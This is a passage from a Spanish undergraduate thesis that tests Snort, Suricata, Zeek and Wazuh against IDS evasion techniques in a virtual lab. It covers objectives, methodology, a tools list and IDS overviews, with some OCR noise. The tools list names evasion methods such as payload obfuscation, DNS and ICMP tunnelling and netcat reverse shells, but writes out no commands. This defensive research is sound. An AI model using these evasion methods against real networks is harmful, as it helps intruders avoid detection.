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Resumen

Este proyecto de ciberseguridad analiza técnicas de evasion utilizadas por
atacantes para eludir Sistemas de Deteccion de Intrusiones (IDS), destacando los retos
que representan para la ciberseguridad actual. Para ello, se implementa un entorno de
pruebas virtualizado para evaluar distintos IDS en condiciones controladas, aplicando
diversos métodos de evasion. Esto permite comparar su eficacia y limitaciones.
Comprender estas técnicas es clave para mejorar las reglas de deteccion y la precision de
las alertas, asegurando que los IDS sigan siendo eficaces ante amenazas cada vez mas
complejas. El objetivo del proyecto es contribuir a la mejora continua de estos sistemas
mediante conocimientos practicos y una vision clara de la dindmica entre atacantes y
defensas.



Abstract

This cybersecurity project analyzes the evasion techniques used by attackers to
bypass Intrusion Detection Systems (IDS), highlighting the challenges they pose to
modern cybersecurity. A virtualized test environment is implemented to evaluate different
IDS under controlled conditions, applying various evasion methods. This allows for a
comparison of their effectiveness and limitations. Understanding these techniques is key
to improving detection rules and alert accuracy, ensuring that IDS remain effective against
increasingly complex threats. The aim of the project is to contribute to the continuous
improvement of these systems through practical insights and a clear understanding of the
dynamic between attackers and defenses.
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Capitulo 1 Introduccion

En este primer apartado se expone la importancia actual de la ciberseguridad
enfocada en la deteccion de intrusiones. A medida que los sistemas de defensa
evolucionan, también lo hacen las técnicas de ataque, dando lugar a un ciclo constante de
innovacion entre atacantes y defensores. Dentro de este contexto, los Sistemas de
Deteccion de Intrusiones (IDS) se posicionan como una pieza fundamental en la defensa
de redes y sistemas, ya que permiten identificar patrones de ataque, anomalias y
comportamientos maliciosos antes de que estos puedan derivar en incidentes de mayor
gravedad.

La creciente dependencia de las infraestructuras digitales en todos los sectores,
desde el financiero hasta el sanitario, pasando por la industria, la educacion y la
administracion publica, ha elevado la exposicion a amenazas cada vez mas complejas y
persistentes. Esta nueva realidad convierte a la deteccion temprana y eficaz en un pilar
estratégico dentro de cualquier arquitectura de seguridad. En particular, los IDS ofrecen
una capacidad valiosa: detectar sefiales sutiles de compromiso que pueden pasar
desapercibidas para otros mecanismos de defensa.

Sin embargo, los atacantes perfeccionan continuamente sus estrategias de evasion,
buscando burlar los mecanismos de deteccion tradicionales mediante técnicas como
fragmentacion de paquetes, el uso de payloads ofuscados o el cifrado de trafico malicioso.

Muchas de estas técnicas fueron desarrolladas originalmente para fines legitimos,
pero han sido reutilizadas con fines maliciosos y representan un reto técnico considerable
para los sistemas de deteccion convencionales. De ahi surge la necesidad de investigar,
analizar y evaluar la capacidad real de los IDS frente a técnicas de evasion avanzadas,
especialmente en un entorno donde la automatizacion y el uso de inteligencia artificial
estan redefiniendo tanto el ataque como la defensa.

Este Trabajo de Fin de Grado busca cubrir este vacio a través de un enfoque
practico y experimental, analizando el comportamiento de varios IDS populares ante
distintos métodos de evasion en un entorno controlado. La finalidad no es solo cuantificar
su capacidad de deteccidn, sino también identificar patrones comunes de debilidad,
proponer ajustes de configuracion y aportar conocimiento Util para su implementacion en
contextos reales.

La investigacion realizada pretende aportar no solo al dmbito académico, sino
también al profesional, brindando informacion relevante para administradores de
sistemas, analistas de seguridad y responsables de arquitectura defensiva. En ultima
instancia, el objetivo es contribuir al desarrollo de entornos digitales mas seguros,
resilientes y preparados para enfrentar los desafios actuales y futuros de la ciberseguridad.
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iniciales
2.1 Motivacion y Antecedentes

Este trabajo surge de un profundo interés personal por comprender tanto los
vectores de ataque empleados por los cibercriminales como las estrategias de defensa que
permiten mitigarlos. Explorar como se llevan a cabo los ataques, qué técnicas utilizan los
adversarios y como aprovechan vulnerabilidades resulta esencial para desarrollar
mecanismos de proteccion mas eficaces.

En este sentido, considero que para disefar sistemas de defensa sélidos es
imprescindible entender ambas caras de la moneda: el ataque y la defensa. Esta dualidad
es clave para anticiparse a las amenazas y fortalecer las infraestructuras frente a posibles
COMpromisos.

Es fundamental entender como piensa y actua un atacante para desarrollar una
estrategia. Este enfoque dual es clave para anticipar riesgos y construir defensas eficaces.
En este sentido, la deteccion temprana cobra especial relevancia, ya que permite
identificar comportamientos maliciosos en sus primeras etapas y actuar con rapidez para
contener los efectos. Aunque en este trabajo no se profundiza en la respuesta activa, esta
debe entenderse como la consecuencia natural de una deteccion eficaz.

Mas alla del interés técnico, considero que este tema también tiene una relevancia
social notable. La ciberseguridad no es solo un reto técnico, sino un componente clave
para la proteccion de datos personales, infraestructuras criticas y derechos digitales.
Vivimos en una sociedad cada vez mas conectada y dependiente de sistemas digitales;
por tanto, contribuir al fortalecimiento de su seguridad es, en ultima instancia, una forma
de proteger a las personas y a las instituciones frente a riesgos que pueden tener
consecuencias reales y profundas.

En este contexto, los IDS representan una de las primeras capas de defensa dentro
de una arquitectura de seguridad moderna. Su capacidad para identificar accesos no
autorizados, comportamientos andmalos o técnicas de evasion es crucial para reducir la
superficie de ataque y actuar antes de que un incidente tenga consecuencias mayores.

En conclusion, este trabajo se centra en el andlisis de sistemas de deteccion de
intrusiones y su comportamiento ante técnicas de evasion, con el objetivo de evaluar su
eficacia y robustez en escenarios realistas. Esta motivacion se enmarca en la necesidad
actual de contar con defensas proactivas capaces de adaptarse al cambiante panorama de
amenazas.
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2.2 Estado Actual

El panorama actual de la ciberseguridad se caracteriza por un entorno altamente
dinamico, en el que las amenazas evolucionan rapidamente y se diversifican en
complejidad, velocidad y superficie de ataque. Segun el ultimo informe de respuesta ante
incidentes de Palo Alto Networks, las organizaciones se enfrentan a actores con
motivaciones econdmicas, Estados con recursos avanzados, amenazas internas y
hacktivistas ideologicos, todos ellos empleando técnicas cada vez mas sofisticadas. En
particular, se han identificado cinco tendencias criticas que estan transformando el
ecosistema de amenazas: el uso creciente de extorsion mediante interrupcion operativa,
la explotacion de la nube y la cadena de suministro, la aceleracion de los ataques mediante
automatizacion e IA, el incremento de amenazas internas y la aparicion de campafias
ofensivas apoyadas por inteligencia artificial generativa. [1]

Frentes de ataque Porcentaje de casos
Endpoints 2%
Personas 65%
Identidad 63%

Red 58%
Correo electrénico 28%
Nube 27%
Aplicacién 21%
SecOps 14%
Base de datos 1%

llustracion 2.1: Frentes de ataques contra los que actuan los ciberdelincuentes. Fuente: paloaltonetworks.es [1]

Tal como se ve en la Ilustracion 2.1, los incidentes actuales suelen involucrar
multiples frentes de ataque simultaneos, afectando endpoints, redes, usuarios, identidades
y entornos en la nube. Esto ratifica la importancia de herramientas de centralizacion para
ser capaz de tener visibilidad de todo el panorama con una Unica herramienta. En este
contexto, un SIEM (Security Information and Event Management) como Wazuh toma un
rol fundamental a la hora de visualizar y clasificar los datos provenientes desde diferentes
fuentes.

Ademas, en este mismo informe se proporcionan varias graficas del tipo de
investigaciones que ha realizado la compaiiia Palo Alto Network en 2025, una de ellas es
la que se muestra en la Ilustracion 2.2, en donde se aprecia que la intrusion de red es la
investigacion mas usual.
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Infrusion en la red 30%
Extorsion (ransomware) 27%
Investigacion de exposiciones 10%
Ofra IR 9%,
Otra investigacion forense digital [ NNRNND 7>
seC D 5%
Extorsion (sin cifrado) [ D 4%
Vulneracién de aplicaciones web - 2%
Vulneracion del plano de datos en lanube [l 1%
Vulneracion de bases de datos [ 1%
Amenaza intema (exempleado vengativo) ) 1%

Amenaza intemna (otro tipo) . 1%

Tlustracion 2.2: Tipos de investigacion en Europa, Oriente Medio y Africa. Fuente: paloaltonetworks.es [1].

Incluso en Norteamérica sigue siendo lider con un 23%. Ademas, el informe
muestra el desglose en funcion de varios de los sectores en los que trabajan, en la mayoria
de ellos la intrusion de red es la mas alta, destacando especialmente “Servicios
Financieros” y “Sanidad” con un 33% y 28% respectivamente. Esto se justifica debido a
que dicha intrusion es “una de las fases mas tempranas de la cadena de ataque”, al ser
detectada, se puede responder rapidamente al incidente para evitar situaciones mas serias
como lo puede ser un ransomware.

Actualmente un entorno seguro se nutre de varias herramientas de seguridad que
trabajan conjuntamente, como lo son los IDS, soluciones EDR (Endpoint Detection and
Response) y cortafuegos, ademas de una herramienta SIEM para centralizar todos los
datos generados. Los EDR detectan actividad maliciosa en endpoints con gran
granularidad, mientras que los firewalls proporcionan control del trafico y segmentacion
de red. Todas estas herramientas refuerzan la resiliencia operativa y permiten una
respuesta proactiva frente a las amenazas emergentes. En caso de confusion con los
acronimos, véase el anexo “12.17 Glosario de Acronimos ™.

Por tanto, la deteccion de intrusiones no puede considerarse una solucion aislada,
sino parte de un ecosistema defensivo cohesionado y multidimensional. La efectividad de
un IDS no solo se mide por su capacidad de deteccion, sino también por su integracion
con el resto de los mecanismos de seguridad y su capacidad para adaptarse ante técnicas
de evasion avanzadas.
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2.3 Objetivos

El objetivo principal de este proyecto es analizar la efectividad de distintos
Sistemas de Deteccion de Intrusiones frente a técnicas de evasion en un entorno
experimental controlado.

Los objetivos especificos incluyen:

- Investigar y documentar las principales técnicas de evasion utilizadas en ataques
reales, con énfasis en aquellas que presentan mayores tasas de éxito frente a IDS
conocidos.

- Seleccionar un conjunto representativo de IDS ampliamente utilizados en el
ambito profesional, priorizando herramientas de codigo abierto y con potencial de
adopcion en entornos empresariales.

- Disenar y configurar entornos de laboratorio virtualizados, donde se desplegaran
los IDS seleccionados bajo condiciones homogéneas y replicables.

- Ejecutar técnicas de evasion especificas sobre cada uno de los IDS, registrando su
capacidad de deteccion, generacion de alertas y comportamiento frente a cada
intento de intrusion.

- Evidenciar capacidades y dificultades de deteccion de los IDS.

- Realizar un andlisis comparativo de los resultados, identificando fortalezas,
limitaciones y posibles areas de mejora en el disefio o configuraciéon de cada
solucion.

- Elaborar una documentacion técnica exhaustiva que recoja el procedimiento
seguido, los resultados obtenidos y las conclusiones derivadas, con un enfoque
orientado tanto a la comunidad académica como a profesionales del ambito de la
ciberseguridad.
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3.1 Aportaciones Socioeconomicas del Proyecto

Este proyecto tiene implicaciones que trascienden el ambito puramente técnico,
ya que aborda una problematica con un impacto creciente en la sociedad y la economia.
En un contexto en el que los ciberataques provocan cada vez mayores pérdidas
econdmicas y dafios reputacionales, el fortalecimiento de las capacidades de deteccion de
intrusiones supone una contribucioén directa a la reduccion del riesgo cibernético en
organizaciones y servicios criticos.

Desde el punto de vista econdomico, una deteccion eficaz permite reducir los
tiempos de respuesta ante incidentes y minimizar los costes asociados a la recuperacion,
la interrupcion de operaciones o la pérdida de datos. Invertir en deteccion proactiva y en
mejorar la robustez de los sistemas se traduce en ahorros significativos a medio y largo
plazo para las empresas y entidades publicas.

En el plano social, el proyecto contribuye al aumento de la seguridad digital
ciudadana, ya que muchos servicios que manejan datos personales dependen de sistemas
protegidos contra accesos no autorizados. La mejora en las herramientas de deteccion
puede, por tanto, ayudar a proteger la privacidad de las personas, preservar la confianza
en las instituciones y evitar consecuencias que podrian derivarse de brechas de seguridad
masivas.

Por otra parte, este trabajo también fomenta la conciencia cibernética y promueve
buenas précticas en el disefio y despliegue de arquitecturas defensivas, algo especialmente
relevante en un momento donde la demanda de profesionales cualificados en
ciberseguridad continta creciendo, tal como se indica en el “Analisis y diagndstico del
Talento en Ciberseguridad en Espaiia” [2]. Asi, el proyecto no solo tiene un valor
académico y técnico, sino también un impacto formativo y estratégico para el desarrollo
de un entorno digital mas seguro y resiliente.

3.2 Competencias Especificas

A continuacion, se presenta una breve justificacion sobre como las competencias
especificas relacionadas con este proyecto han sido cubiertas durante su desarrollo. Estas
competencias han sido extraidas del documento “Memoria del Plan de Estudios del Grado
en Ingenieria Informatica™ [3].

e CI1: “Capacidad para diseiiar, desarrollar, seleccionar y evaluar aplicaciones
y sistemas informaticos, asegurando su fiabilidad, seguridad y calidad,
conforme a principios éticos y a la legislacion y normativa vigente.”

Esta competencia se ha abordado de forma directa al comparar,
implementar y evaluar distintos Sistemas de Deteccion de Intrusiones, ya sean
basados en firmas o en comportamiento, ademas de una plataforma SIEM/HIDS
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(Security Information and Event Management / Host Intrusion Detection System),
como es Wazuh. Se analizaron sus capacidades de deteccion, su calidad técnica, y
su eficacia frente a técnicas de evasion, seleccionando configuraciones adecuadas
para garantizar la fiabilidad del sistema en un entorno controlado.

CI11: “Conocimiento y aplicacion de las caracteristicas, funcionalidades y
estructura de los sistemas distribuidos, las redes de computadores e Internet,
y disefiar e implementar aplicaciones basadas en ellas.”

Durante el proyecto se disefio una red virtualizada con multiples nodos
(maquinas atacantes, victimas, IDS y servidor SIEM), simulando un entorno
distribuido realista. Se configuraron servicios de recoleccion y andlisis de logs a
través de la red, empleando protocolos como syslog, y se aseguraron canales de
comunicacion entre los distintos sistemas. Esto demuestra no solo el conocimiento
teorico, sino también su aplicacion practica en la implementaciéon de una
arquitectura distribuida de ciberseguridad.

TI6: “Capacidad de concebir sistemas, aplicaciones y servicios basados en
tecnologias de red, incluyendo Internet, web, comercio -electronico,
multimedia, servicios interactivos y computacion movil.”

Esta competencia se ha desarrollado plenamente a través del disefo e
implementacion de una arquitectura de deteccion de intrusiones basada en red
(NIDS, Network Intrusion Detection System), compuesta por herramientas como
Suricata, Snort y Zeek, cada una configurada para analizar el trafico en
diferentes niveles y con distintos enfoques. El sistema se desplegd sobre una red
virtualizada, simulando un entorno real con flujo de trafico entre méaquinas, lo que
permitié aplicar configuraciones de exportacion de eventos en formato JSON,
recoleccion centralizada y visualizacion a través de un SIEM. Todo ello demuestra
la capacidad para concebir e integrar servicios criticos de seguridad apoyados en
tecnologias de red, orientados a proteger entornos distribuidos y escalables, como
redes universitarias o corporativas.

TI7: “Capacidad para comprender, aplicar y gestionar la garantia y
seguridad de los sistemas informaticos.”

Este proyecto se centra precisamente en la seguridad de los sistemas
informaticos. Se han puesto a prueba diversos IDS frente a técnicas de evasion
avanzadas, analizando su capacidad de respuesta y mejorando su configuracion
para incrementar su eficacia. Ademds, se han generado reglas y scripts
personalizados orientados a garantizar la deteccion de comportamientos
andémalos, evidenciando la comprension y gestion activa de la seguridad en un
entorno realista.

19



n Universidad de Capitulo 3

Las Palmas de Estado actualy objetivos iniciales
Gran Canaria

3.3 Alineamiento con los objetivos de desarrollo sostenible.

Los Objetivos de Desarrollo Sostenible (ODS), establecidos por la Asamblea
general de las Naciones Unidas en 2015, constituyen una agenda global con metas para
erradicar la pobreza, proteger el planeta y garantizar el bienestar de las personas antes del
ano 2030. Los 17 objetivos estan interrelacionados y abordan de forma integral los
desafios sociales, econémicos y ambientales mas urgentes. [4]

En el contexto de este Trabajo de Fin de Grado, se han identificado vinculos
significativos con varios ODS, especialmente en lo que respecta al fortalecimiento de las
infraestructuras digitales, la formacidn técnica especializada, el impulso del empleo en el
sector tecnologico y la cooperacion entre instituciones. A continuacion, se detallan los
ODS con los que este proyecto guarda una relacion directa:

3.3.1. ODS 9: Industria, Innovacion e Infraestructuras

Grado de relacion: Alto

El presente proyecto contribuye directamente a este ODS al centrarse en la mejora
de infraestructuras digitales de seguridad. A través de la evaluacion practica de técnicas
de evasion en Sistemas de Deteccion de Intrusiones, se promueve la construccion de
entornos tecnoldgicos mas seguros, innovadores y robustos. Esta investigacion impulsa
el disefio de arquitecturas defensivas mas avanzadas, lo cual es fundamental para sostener
una transformacion digital segura y sostenible en sectores clave de la economia.

3.3.2. ODS 16: Paz, Justicia e Instituciones Solidas

Grado de relacion: Alto

La ciberseguridad es una herramienta esencial para proteger a las instituciones
publicas y privadas frente a delitos digitales, garantizar la integridad de sus sistemas y
preservar la confianza de la ciudadania en los entornos digitales. Este proyecto contribuye
a la prevencion de ataques cibernéticos y promueve una cultura de proteccion digital,
elementos clave para el fortalecimiento del estado de derecho y la seguridad institucional.

3.3.3. ODS 4: Educacion de Calidad

Grado de relacion: Medio

El enfoque académico y experimental del trabajo permite generar conocimiento
técnico especializado en ciberseguridad, un campo de alta demanda en la actualidad.
Ademas, promueve el aprendizaje practico basado en problemas reales y el desarrollo de
competencias digitales avanzadas, lo que contribuye a la formacion de profesionales mas
preparados y conscientes del impacto social de la tecnologia.

3.3.4. ODS 8: Trabajo Decente y Crecimiento Economico

Grado de relacion: Medio
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La ciberseguridad es un sector estratégico en expansion que requiere perfiles
profesionales altamente cualificados. Al formar parte de este ecosistema, el proyecto
impulsa la empleabilidad en areas criticas como la deteccion de intrusiones, analisis
forense y arquitectura de seguridad. Asimismo, contribuye indirectamente al desarrollo
econdmico al minimizar el impacto de los ciberataques, que pueden provocar pérdidas
millonarias en multiples industrias.

3.3.5. ODS 17: Alianzas para lograr los objetivos

Grado de relacion: Medio

El trabajo promueve la colaboracion entre instituciones educativas,
organizaciones del ambito de la ciberseguridad y actores del sector privado, favoreciendo
el intercambio de conocimientos, la transferencia tecnoldgica y la adopcion de buenas
practicas en seguridad digital. Estas sinergias son esenciales para afrontar desafios
globales como la cibercriminalidad y fortalecer el tejido tecnoldgico a nivel nacional e

internacional.
Nivel de Relacion
ODS 0 1 2 3
No procede Bajo Medio Alto
1 Fin de la Pobreza X
2 Hambre cero X
3 Salud y Bienestar X
4 Educacién de calidad X
5 Igualdad de género X
6 Agua limpia y saneamiento X
7 Energia Asequible y no contaminante X
8 Trabajo decente y crecimiento econémico X
9 Industria, Innovacion e Infraestructuras X
10 Reduccion de las desigualdades X
11 Ciudades y comunidades sostenibles X
12 Produccion y consumo sostenibles X
13 Accién por el clima X
14 Vida submarina X
15 Vida de ecosistemas terrestres X
16 Paz, justicia e instituciones sélidas X
17 Alianzas para lograr objetivos X

Tabla 3.1: Niveles de relacion — ODS. Fuente: Tabla proporcionada por la ULPGC (ulpgc.es), adaptada y
completada por elaboracion propia.
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4.1 Metodologia

La metodologia propuesta y seguida en este Trabajo de Fin de Grado ha sido de
caracter iterativo y experimental, basada en el enfoque de Prototipado Evolutivo. Este
modelo implica desarrollar el proyecto mediante ciclos progresivos de construccion,
prueba, evaluacion y mejora, en lugar de intentar una solucion cerrada desde el inicio.
Esta eleccion metodologica es especialmente adecuada en proyectos con alto componente
practico, como el andlisis de técnicas de evasion frente a sistemas de deteccion de
intrusiones, ya que permite ajustar el enfoque en funcion de los resultados obtenidos en
cada etapa.

Durante cada iteracion se trabajé sobre entornos IDS configurados (Snort,
Suricata y, finalmente, Zeek), con el objetivo de analizar su comportamiento ante técnicas
evasivas. Estos ciclos permitieron observar la respuesta del sistema de deteccion ante
ataques especificos, ajustar reglas o configuraciones, y refinar también las propias
técnicas ofensivas utilizadas. Asi se establecid un proceso bidireccional y evolutivo,
donde tanto las defensas como las evasiones fueron mejorando de forma paralela,
favoreciendo una comprension mas profunda de las capacidades reales de cada
herramienta.

Ademéds, como parte clave de la metodologia, se integr6 el agente de Wazuh en
cada uno de los entornos IDS. Esta herramienta, en su rol de SIEM, permitié ampliar la
visibilidad de eventos y reforzar las capacidades de anélisis mediante la centralizacion de
alertas, la correlacion de eventos y la creacion de reglas personalizadas. Aunque
inicialmente se consider6 a Wazuh como tercer IDS a comparar, su naturaleza como
HIDS y SIEM reveld limitaciones frente a los NIDS evaluados. No obstante, su
incorporacion como sistema complementario aportdé un enfoque integral a la seguridad,
combinando:

o Ladeteccion basada en firmas (Suricata y Snort),
e Ladeteccion basada en comportamiento (Zeek),
e Y laagregacion e inteligencia de eventos (Wazuh).

En conjunto, esta metodologia permitié no solo construir un entorno de pruebas

realista y controlado, sino también simular de manera efectiva el ciclo dindmico entre
ataque y defensa, clave en entornos reales de ciberseguridad.

4.2 Fases de desarrollo

El desarrollo del proyecto se estructurd en cuatro fases principales, siguiendo una
cronologia logica que permiti6 abordar el problema de forma progresiva y sistematica. A
continuacion, se describen las fases y sus respectivas tareas:
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Fase 1: Investigacion y seleccion de IDS

o Tarea 1.1: Revision bibliografica sobre técnicas de evasion en redes.

e Tarea 1.2: Estudio de diferentes sistemas IDS (caracteristicas, modos de
deteccion, configurabilidad).

e Tarea 1.3: Seleccion inicial de tres IDS representativos: Suricata, Snort y Wazuh.

Fase intermedia: Preparacion del entorno experimental

Antes de iniciar la fase de prototipado por IDS, fue necesario abordar una serie de
tareas fundamentales no contempladas en la estimacion original:

e Tarea I.1: Instalacién y configuracion de las maquinas virtuales “victima” y
“atacante”, asegurando su conectividad y compatibilidad con los IDS a
implementar.

e Tarea 1.2: Pruebas preliminares de técnicas evasivas para evaluar su viabilidad y
seleccionar aquellas mas representativas para su aplicacion iterativa.

Esta fase intermedia resulto critica para asegurar la validez del entorno de pruebas y
delimitar el conjunto de técnicas utilizadas en las fases posteriores.

Fase 2: Desarrollo iterativo por IDS

Esta fase se repitio para cada sistema IDS, con ciclos dedicados a Suricata, Snort y
Zeek. Las tareas incluyeron:

1. Configuracion inicial
o Instalacion del IDS y ajuste de reglas (por defecto y personalizadas).
2. Pruebas de funcionamiento
o Verificacion con trafico normal y ataques bésicos.
3. Aplicacion de técnicas evasivas
o Ejecucién de ataques mediante técnicas previamente seleccionadas
(fragmentacion, ofuscacion, etc.).
o Observacion de la respuesta del IDS.
4. Iteraciones de mejora
o Ajustes en la configuracion del IDS y evolucion de las técnicas ofensivas.
5. Integracion con Wazuh
o Instalacion del agente de Wazuh y su uso como SIEM para agregar
visibilidad y centralizar alertas.

Inicialmente se habia contemplado el uso de Wazuh como tercer IDS para
aumentar la diversidad, debido que a diferencia de Snort y Suricata, que son detectores
de intrusiones basados en red, Wazuh es un detector de intrusiones basado en host. Sin
embargo, se comprobd que las técnicas evasivas aplicadas no eran comparables con las
empleadas en NIDS. Por ello, se opt6 por Zeek, un NIDS de arquitectura distinta, lo que
enriquecio notablemente la comparativa.
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Fase 3: Analisis comparativo
e Tarea 3.1: Consolidacion de resultados obtenidos con cada IDS.

e Tarea 3.2: Comparacion de tasas de deteccion, robustez, facilidad de uso e
integracion con Wazuh.

o Tarea 3.3: Representacion visual de los resultados mediante graficos y tablas.

Fase 4: Documentacion final
o Tarea 4.1: Redaccion completa de la memoria del TFG.
o Tarea 4.2: Revision, correccion y edicion final.

e Tarea 4.3: Preparacion de materiales de presentacion para la defensa oral.

4.3 Comparativa de tiempos: Estimada - Real

A continuacion, se presenta una tabla comparativa entre la duracién estimada y

la duracién real dedicada a cada fase:

Duracion Estimada (h) Duracion Real (h)

Fase 1: Investigacion y seleccion de IDS

Fase intermedia: Preparacion del entorno

Fase 2: Ciclos de prototipado (Snort, Suricata,
Zeek)

Fase 3: Analisis y comparativa final 40

Fase 4: Documentacion final 30 60

Tabla 4.1: Tabla comparativa de tiempos dedicado. Estimada — Real. Fuente: Elaboracion propia

Aunque la estimacion inicial fue de 300 horas, el esfuerzo total ascendid a
aproximadamente 360 horas, en gran parte debido a incidencias imprevistas, tales como:

o Lanecesidad de adaptar el enfoque tras el descarte de Wazuh como IDS principal.
o El estudio adicional y puesta en marcha de Zeek, no contemplado inicialmente.

e Problemas técnicos con Snort en la distribucion Kali Linux, que requirieron
tiempo adicional de resolucion.

o Fallos en la indexacion de alertas generadas, que afectaron la visibilidad en el
Dashboard y retrasaron la integracion con Wazuh.
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Estos imprevistos justifican la desviacion respecto al plan inicial, manteniéndose aun
asi dentro de margenes razonables. A cambio, se anadié valor técnico y académico al
proyecto, al considerar la seguridad desde tres enfoques (uno adicional a lo esperado
inicialmente):

o NIDS basados en firmas (Suricata y Snort).
o NIDS basados en comportamiento (Zeek).

o HIDS/SIEM (Wazuh), como plataforma de integracion, correlacion y visibilidad
centralizada.

4.4 Herramientas

1. Oracle VM VirtualBox: Plataforma de virtualizacion utilizada para desplegar el
entorno experimental, incluyendo maquinas atacantes, victimas e IDS.

2. Sistemas Operativos Virtualizados
o Kali Linux: utilizado como sistema atacante principal.

o Ubuntu 20.04: empleado para la instalaciéon de IDS como Snort, Zeek y
Wazuh.

o Metasploitable2 (Linux), Metasploitable3 (Linux y Windows):
utilizados como sistemas vulnerables para pruebas.

3. Sistemas de Deteccion de Intrusiones (IDS)
o Suricata: IDS/IPS de red con capacidades multihilo.
o Snort: IDS/IPS basado en reglas y firmas.
o Zeek: sistema de analisis de trafico de red pasivo y basado en scripting.
o Wazuh: HIDS y plataforma SIEM para correlacion de eventos.
4. Frameworks y Herramientas de Penetracion

o Metasploit Framework: utilizado para explotacion de vulnerabilidades y
sesiones con Meterpreter.

o msfvenom: para generacion de payloads personalizados, incluyendo
versiones polimorficas.

5. Técnicas de Codificacion y Ofuscacion

o Empleo de comandos y scripts para ocultar o modificar payloads y evadir
la deteccion, incluyendo codificacion (Base64, XOR, rotl3, urlencode),
ofuscacion de sintaxis en shell, y uso de herramientas basicas como echo,
eval, cat, tr, xxd, asi como la ejecucion mediante bash, sh o powershell.
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6. Herramientas de Comunicacion y Tuneles
o lodine: para establecer tuneles DNS.
o Ptunnel: utilizado para tunelizacién ICMP.

o Netcat (nc): empleado para conexiones reversas, exfiltracion y prueba de
conectividad.

7. Herramientas de Red y Analisis de Trafico
o tepdump: captura y visualizacion de paquetes de red en tiempo real.

o Wireshark: andlisis detallado de paquetes, inspeccion de protocolos y
validacion de ataques.

o Nmap: escaneo de puertos, deteccion de servicios y técnicas como IDLE
scan.

o hping3: Generador de paquetes TCP/IP para pruebas de red, incluyendo
escaneos personalizados, analisis de respuesta a nivel de red y simulacion
de ataques DoS para evaluar la robustez de servicios y dispositivos.

o slowhttptest: Herramienta para simular ataques de denegacion de servicio
(DoS) de baja velocidad (low and slow).

8. Herramientas de Transferencia y Exfiltracion
o curl: para enviar payloads HTTP maliciosos y realizar pruebas de evasion.

o Python (general): scripting para automatizacion de pruebas, servidores,
transformacion de payloads y simulacion de ataques.

9. Comprobacion de Reglas y Correlacion

o wazuh-logtest: herramienta CLI para testeo de decodificadores y reglas
en Wazuh.

o regex101: para validacion de expresiones regulares utilizadas en
decodificadores.

11. Utilidades de Red del Sistema (Agrupadas)

e Herramientas como ping, ip, ifconfig, netstat, dig, hostname, arp, ss fueron
utilizadas de forma complementaria para pruebas de conectividad, verificacion de
servicios y resolucion de nombres.
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5.1 Lista preliminar de IDS

Este capitulo presenta una seleccion representativa de sistemas de deteccion de
intrusiones, tanto de red como basados en host, que seran evaluados en el desarrollo del
presente trabajo. Se consideran soluciones ampliamente utilizadas, de cddigo abierto y
con un enfoque técnico diverso, que permiten cubrir distintas necesidades dentro de una
infraestructura de seguridad informatica.

5.1.1 Suricata

Suricata [5] es un sistema NIDS (Network Intrusion Detection System) / NIPS
(Network Intrusion Prevention System) de alto rendimiento desarrollado por la Open
Information Security Foundation (OISF). Su arquitectura multihilo permite el analisis
eficiente de grandes volumenes de trafico en tiempo real, como se muestra en la

Ilustracion 5.1. [6]
2 3 4
Packet Decode and 5
‘ Acquisition Stream app. | —> Betect Cutputs
layer
Network /
\

llustracion 5.1: Arquitectura multihilo de Suricata. Fuente: researchgate.net [7]

Segun su documentacidon, opera en distintos modos: IDS pasivo (Intrusion
Detection System), IPS activo (Intrusion Prevention System), IDPS combinado (Intrusion
Detection and Prevention System) y NSM (Network Security Monitoring) para captura
detallada. Entre sus caracteristicas se destacan la detecciéon avanzada de protocolos
(HTTP, TLS, DNS), soporte para scripting en Lua, salida en formato JSON (EVE) y
compatibilidad con herramientas como Kibana o EveBox. [§]

5.1.2 Snort

Snort [9] es un IDS/IPS de codigo abierto centrado en la inspeccion profunda del
trafico de red desarrollado por Cisco Talos [10]. Su arquitectura vista en la Ilustracion
5.2, permite la captura, preprocesamiento, analisis mediante reglas y generacion de
alertas.
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llustracion 5.2: Arquitectura de Snort. Fuente: truica-victor.com [11]

determine
packets / paclet
behaviour

HTTP plug-in,
sfPortscan

Utiliza una arquitectura modular compuesta por decodificadores,
preprocesadores, motor de deteccion, sistema de alertas y modulos de salida. Su
comunidad activa y compatibilidad con multiples entornos lo consolidan como una
herramienta de referencia. [12]

5.1.3 OSSEC

OSSEC [13] es un sistema HIDS open-source que monitoriza eventos en
tiempo real en sistemas individuales, enfocandose en registros del sistema, actividad de
usuarios y cambios en archivos, ademas, dispone de una version comercial (Atomic
OSSEC) mantenida por Atomicorp [14].

Su arquitectura distribuida incluye como componentes: El Manager (dedicado a
gestionar y centralizar), agentes, monitoreo sin agente y respuestas activas. [15]

Destaca por su capacidad de correlacion de eventos, soporte de multiples
plataformas, integracion con dispositivos de red y virtualizacion, manteniéndose como
una opcion solida en entornos corporativos. [16]

5.1.4 Zeek

Tal como se explica en su documentacion, Zeek [17], desarrollado por Corelight
[18], es un analizador pasivo de trafico de red que actiia como plataforma NSM. Su motor
de eventos transforma el trafico en eventos de alto nivel, procesados por scripts de
politicas personalizables [19]
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llustracion 5.3: Arquitectura de Zeek. Fuente: zeek.org [20]

Zeek no emplea firmas tradicionales, sino que genera registros ricos en contexto
de protocolos de aplicacion (HTTP, DNS, SSL, etc.). Ademas, se orienta especialmente
al andlisis profundo, generacion de logs estructurados y personalizacion mediante
scripts.

5.1.5 Security Onion

Security Onion [21], desarrollado por Security Onion Solutions, LLC, es una
plataforma integral para deteccion de intrusiones, analisis y respuesta ante incidentes.
Agrupa multiples herramientas, como Suricata, Zeek y Elastic en una distribucion Linux
especializada, tal como se ve en la [lustracion 5.4. Su arquitectura escalable permite desde
instalaciones minimas hasta despliegues distribuidos. [22]

4 N\

Forward Nodes
Siredka - Suncals - Jesk Siralks - Suncata - Jesk
=: Elashc Agent Elashc Agent :{
| |
K 7 . FrrrrrE
Faonwasd Logs Ft.w,lld Liga

. : | S

llustracion 5.4: Muestra parcial de la arquitectura de SecurityOnion. Fuente: docs.securityonion.net. [22]

Soporta diferentes roles de nodo (Manager, Forwarder, Search, etc.) y
herramientas de visualizacion como Kibana y Grafana. Es ideal tanto para entornos de
laboratorio como de produccion empresarial.

5.1.6 Prelude SIEM

Prelude [23] es una solucion de Gestion de Informacion y Eventos de Seguridad
(SIEM) bajo la compatfiia CS [24], que centraliza eventos provenientes de multiples
IDS. No inspecciona trafico directamente, sino que centraliza y correlaciona alertas de
sistemas como Snort, Suricata o Samhain entre otros. Siendo su objetivo principal,
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ofrecer una vision consolidada y contextualizada de la seguridad mediante sensores.
[25]

5.1.7 Sagan

Su propia documentacion oficial explica que Sagan [26], mantenido por Quadrant
